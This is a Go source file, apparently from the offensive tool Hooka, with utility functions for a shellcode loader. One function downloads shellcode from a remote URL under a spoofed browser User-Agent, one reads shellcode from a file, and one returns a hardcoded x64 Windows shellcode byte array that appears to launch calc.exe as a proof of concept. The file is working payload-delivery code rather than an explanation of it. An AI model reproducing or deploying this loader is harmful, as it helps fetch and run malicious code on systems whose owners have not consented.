mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
d3ext
51 lines
1.6 KiB
Go
51 lines
1.6 KiB
Go
package utils
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import (
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"net/http"
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"io"
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"io/ioutil"
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"os"
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)
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func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
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req, err := http.NewRequest("GET", sc_url, nil)
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if err != nil {
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return nil, err
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}
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req.Header.Set("Accept", "application/x-www-form-urlencoded")
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req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
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client := &http.Client{}
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resp, err := client.Do(req)
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if err != nil {
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return nil, err
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}
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defer resp.Body.Close()
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b, err := io.ReadAll(resp.Body)
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if err != nil {
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return nil, err
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}
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return b, nil
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}
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func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
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f, err := os.Open(file)
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if err != nil {
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return nil, err
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}
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defer f.Close()
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shellcode_bytes, err := ioutil.ReadAll(f)
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if err != nil {
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return nil, err
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}
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return shellcode_bytes, nil
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}
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func CalcShellcode() []byte {
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return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
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}
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